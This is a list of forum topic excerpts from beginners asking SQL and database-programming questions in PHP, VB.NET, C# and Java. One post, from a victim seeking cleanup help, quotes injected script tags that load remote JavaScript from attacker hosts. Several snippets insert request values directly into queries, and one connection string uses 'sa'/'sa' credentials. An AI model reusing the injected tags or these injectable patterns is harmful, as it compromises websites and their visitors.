6,934 Topics
 | |
| | how can i Post an image on sql server Hi there I am working on class project .i face difficulties on uploading images. in my project i build an interface that a user fill his/her data and send to the data base (sql server).one of the data that is collected …  |
| | I need to display all the comments from the comments database table where the $msg_id_fk = $msg_id from the messages table and I need it in a while loop [CODE] $comment_results = mysql_query("SELECT * FROM comments WHERE msg_id_fk='$msg_id' ORDER BY com_id ASC"); while ($row = mysql_fetch_array($comment_results)){ $msg_id_fk=$row['msg_id_fk']; $comment=$row['comment']; } $message_results …  |
| | Hello Everyone, I have developed an application for website using ASP.NET and SQL Server 2005. Recently I have uploaded it to server, but after uploading its showing the following error message - [B] Login failed for user ''. The user is not associated with a trusted SQL Server connection.[/B] [B]Description:[/B] … |
| | Hey all, Im creating a voting website using PHP & SQL. Im planning on using a single table to store votes. Something like this. -- Voter_ID -- Candidate A-- Candidate B -- Candidate C -- ### --- 1 --- 2 --- 3 ### --- 1 --- 3 --- 2 ### … |
| | hai i am new to php. i am getting this as error ---You have an error in your SQL syntax; check the manual that corresponds to your MySQL--- can anyone tel wher is the error. Thank u..!! <html> <body> <form action="login.php" method="post"> <div> <table width="100%"> <tr> <td><img src="Logofinalcopy.gif"></td> </tr> <tr> … |
| | I Got 2 tables: 'Standby' and 'Usage' [COLOR="Red"]Standby[/COLOR] Table got this fields: [COLOR="Red"]PartNº[/COLOR] (equipment id); [COLOR="Red"]Area [/COLOR](physical location); [COLOR="Red"]Stock1[/COLOR] (Nº Total of equipments); [COLOR="Red"]Usage[/COLOR] table got this fields: [COLOR="Red"]Quant_Used[/COLOR] (The times that the equipement is taken from Standby); [COLOR="Red"]Quant_Received[/COLOR] (The times that the equipement is restored to Standby); [COLOR="Red"]PartNº[/COLOR] (foreign … |
| | Sorry for my bad english! Well, my problem is this: I have 2 tables: "Standby" and "Usage". Standby store all the equipements. Usage store the times that the equipement is used (replaced) and received (placed) in Standby. My problem is there: [CODE]Select Standby.PartNº,Standby.Stock1, Standby.Stock1 - (SUM([Usage].Quant_Used)-SUM([Usage].Quant_Received)) as [No Exterior], Standby.Area … |
| | [code] Dim da2 As OleDb.OleDbDataAdapter Dim cols As Integer = Attendance_QueryDataGridView.ColumnCount Dim rows As Integer = Attendance_QueryDataGridView.Rows.Count Dim a(cols) As String Dim dt As New DataTable("Attendance") da2 = New OleDb.OleDbDataAdapter(sql, con) da2.Fill(ProjectDataSet, "Attendance") Dim NewRow As DataRow NewRow = ProjectDataSet.Tables("Attendance").NewRow For z = 0 To cols - 1 a(z) = … |
| | Just when I thought I was comfortable with SQL queries, another one popped up that I can't get around with.... I'm ALMOST there but not quite. Here is the situation... I'm dealing with two tables [B]PoolTeams[/B] and [B]PlayerStats[/B] The PoolTeams table has two columns: [B]PoolTeamID[/B] and [B]TeamName[/B] The PlayerStats table … |
| | Today is my first day on this site. I am vey new to VB.NET, i have a good amount of experience in VB6. I have a application I wrote for my Aikido club to track hours and I am converting it to .NET. The code below is very basic and … |
| | Hi friends i want to format a datetime column like 4-mar-10 9:15 pm  |
| | Hi, I am create one application using C#.net and SQL Server 2005, In this application uses procedure,plz give me syntax how to create procedure in SQL Server and how to handle error in stored procedure. |
| | basically this is the first time iam using the iSQL *Plus, i am confused and i just want to no, when you create a table how can you view the actual table you have created, and how do you put data into the table?.. |
| | How would I clean everhing after script got a sql injection attack Electric repeater beanie green<script src="http://nt010.cn/E/J.JS"></script><script src="http://nt004.cn/E/J.JS"></script> need to clean everything after <script> |
| | My code is : /* Database.java*/ [code] import java.sql.*; import java.awt.*; import javax.swing.*; public class Database{ private static Connection con = null; public static Statement statement = null; public static void makeConnection() { JOptionPane.showMessageDialog(null, "database"); String driver = "sun.jdbc.odbc.JdbcOdbcDriver"; String url = "jdbc:odbc:lib"; String username = ""; String password = … |
| | i need a screen short for vb.net sql sever connection |
| | hi i have a problem when connecting my application with sql server installed in a different server i am placing my connection string in this way : Public Const strConnection = "Server=SERVER\QTMLSQLSERVER;User Id=sa; Password=sa; Database=QTML_DB but its not working. |
| | Hello again. I'm looking for a way of displaying the results of a search facility on a site im creating. The site is based on an animal sanctury and the database holds two key tables for searching 'blog' and 'animals' respectivly. Now, how would i go about displaying the results … |
| | I have a table in Access with multiple foreign key fields. I would like to populate this table from Excel with SQL. Hardcoding values works fine: [CODE]INSERT INTO Table ( Field1, Field2,...) VALUES (x,y,...)[/CODE] Nesting SELECT statements like this fails: [CODE]INSERT INTO Table ( Field1, Field2,...) VALUES ( (SELECT f_key_x … |
| | gud day.. is it possible to have a database with password? i mean not setting a password for database users, but for the database itself.. i do not want the database users to see what's inside of my tables.. is it possible?? thank you.. |
| | Hi everyone, I'm creating a database installer where I have some code to create database, tables, stored procedures, etc. I don't have problems when creating the database, tables and inserting required data. My problem is when my code gets to the stored procedures section. Here is what I do: I … |
 | I accidentally added the following line to my SQL database twice: [CODE]INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_birthdays_ahead', '7');[/CODE] How do I remove one of them? |
| | Hi guys... I know little to nothing about this and i was told to run this command, but I got this error when I did...does any know the correct syntax for this? I appreciate your help and thank you in advance! Error SQL query: CREATE TABLE wp_wpmq( id int( 11 …  |
| | Anybody know how to do the following: id (PK/autoincrement) file_id (FK/int) - same file id pops up loads of times statement (varchar) - just some text from the file status (tinyint 0/1/2) - depending on the statement = 0 or 1 or 2 into a single record for each file_id, … |
| | Hi I've been trying to make pagination for my search results and I have this problem: The first page displays ok but when the max result per page is achieved like $max_results = 2 and it reached 2 the links for the other pages shows but when clicked on it … |
| | Hi ppl , Need some advise on my SQL coding . i have written some SQL code to draw and compare some data in which i was thrown back with an error of no Select statement after <> or any other expression . Can someone advise me of any walkaround …  |
| | I have a test table where I'm using the Last() function but it seems to not work, it always return the 2nd record when i have 10 records.. [CODE]SELECT LAST(Date_Received) FROM serviceRS; [/CODE] returns the 2nd record [CODE]SELECT FIRST(Date_Received) FROM serviceRS;[/CODE] returns the 3rd record X_X |
| | can anybuddy help to sort out my problem in .net actually i m beginner at this platform facing a very crucial error i think so i m making a web page connectivity to sql database for inserting the data......... my error name: Inserting is not supported by data source 'SqlDataSource1' … |
| | How can I get the sum of ‘ExpCounter’? I want to end up with Batch_Number and Sum of ExpCounter in my results. [CODE] select batch_number, sum(acount)/aSize as 'ExpCounter' from HMIExpCount2 where aDate >= '03/01/2010' and aDate <= '03/02/2010' and batch_number = '118705' group by batch_number, asize [/CODE] Thanks! |
| | [b] Split from - [url]http://www.daniweb.com/forums/thread182138.html[/url] [/b] i also have the same problem. i want to store my excel sheet data in database having same fields as in sheet. please help me out |
 | I am writting a query in SQL Developer. I have a field in the table that holds a timezone. I need to set the query to use that timezone. Any ideas? Here's the query I have so far: [CODE]select to_char(dateoftransport, 'MM-DD-YYYY') as "Date", dispatch_id as "Dispatch, vehicletype as "Dispatch Type" … |
| | How to save user input from text box and radio button to the SQL database using C# in ASP.Net? Please help me... |
| | Hi Everyone, I'm having some issues in the construction of an algorithm for a project. This is just a fraction of the algorithm and my problem is this: I'm trying to build a PHP function that gets the values of the first and second rows of a table and subtract … |
| | Hi. Im new to PHP/SQL, and have this little tricky problem i cant find a solution for: [CODE]$result = mysql_query("SELECT * FROM Activities ORDER BY weekday"); while($row = mysql_fetch_array($result)) { echo $row['weekday']; }[/CODE] Now this will output Monday Sunday Thursday Tuesday etc. - in alpabetic order. Instead, i want it … |
| | |
| | hey everyone i have a problem with attaching sql server database to an installer file. i dont know how to do it. i tried searching the internet but i cant understand anything please help me im a noob hahaha anyway tnx in advance |
| | I cannot find the mistake in the below code, I receive "statement ignored error" at the last line of the first select clause part of the code:[CODE]SELECT * BULK COLLECT INTO l_employees FROM employees;[/CODE] But I am not sure if thats the real problem. Here is my full code [CODE]declare … |
| | |
| | I'm not quite sure how to do this join: Table1: Products -------------------------- Prod_ID | Prod_Name | etc Table2: Images --------------------------- IMG_ID | Prod Name | Prod_ID | [CODE] Select Prod_ID, Count(i_Prod_ID) from tblImages right join tblProducts on tblProducts.Prod_ID = tblImage.i_Prod_ID [/CODE] Does not produce what I need..... The desired end … |
| | In phpmyadmin and wanting to copy the mentioned rows below to within the same table. I am not copying the id so it is automatically incrementing. Why isnt it working??? Thanks in advance. INSERT INTO `table1` (title, alias, published, introtext, video, gallery, extra_fields, extra_fields_search, created, created_by, created_by_alias, checked_out, checked_out_time, modified, … |
| | Hi all, I have a VS2008 winform application that connects to an Access 2007 database. However, I have been given the task of converting it so that it connects to SQL Server 2005 instead. (I've already migrated the data + database over without too many problems). The question is... is … |
| | Hi. I've made a record on a table which would be used as a comparison to other records in the table. for example.. table: recordID 100001,Company Name recordDI 999999,Company Name i want to compare record 1000001's Company Name with record 9999999's Company name. How do I do that? thanks! |
| | Hi, I need to create a PHP script which can read an MS SQL database in order to authenticate users onto my website. Once they're authenticated, they get sent to their own personal log in page which allows them access to certain areas of the website. This needs to be … |
| | Hi, I am create one application using c# and Sql server. suppose database stored on one machine how to access this database to another machine, i.e database which is created using sql server stored on one machine and application run on another machine how to access this database which are …  |
| | Hi GUys Just wondering if any one can help me out. Basically i wnat to create an SQL query which will take the input of the user and query that specific variable: e.g the user enetrs in a field, the value entered is assigned to variable "srch", then in my …  |
| | I am trying to get 'SERVERPROPERTY ('edition') using ADODB. I have a connection to a database but I keep getting Error 80040e14 and unexpected token SERVERPROPERTY was found following BEGIN-OF-STATEMENT. Any ideas how to fix this. Thanks Joey |
| | I am trying to export sql data into a pdf file, can this be done? Hope someone can help, cheers  |
| | #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1,1,'','',1,1,'',1,1,1,1,1,'',1,1,1,1,'','','','','','','','','','','','','',''' at line 1 <?php include '../_includes/connection.php'; $foodtype=$_REQUEST['foodtype']; $ffoodtype=$_REQUEST['ffoodtype']; $water=$_REQUEST['water']; $tea=$_REQUEST['tea']; $ftea=$_REQUEST['ftea']; $binge=$_REQUEST['binge']; $junk=$_REQUEST['junk']; $fruits=$_REQUEST['fruits']; $ffruits=$_REQUEST['ffruits']; $oil1=$_REQUEST['oil1']; $oil2=$_REQUEST['oil2']; $smoke=$_REQUEST['smoke']; $fsmoke=$_REQUEST['fsmoke']; $alcohol=$_REQUEST['alcohol']; $falcohol=$_REQUEST['falcohol']; $tobacco=$_REQUEST['tobacco']; …  |
| | Hi all I'm having some trouble with EF and SQL 2008 default values. Firstly, I have a column called 'CreatedDate' and the default value in SQL Server is getdate(). If I add a field in SQL server this works fine. I also have a column called Guid and the default … |
| | How can I connect to sql server via network by using vb.net. |
The End.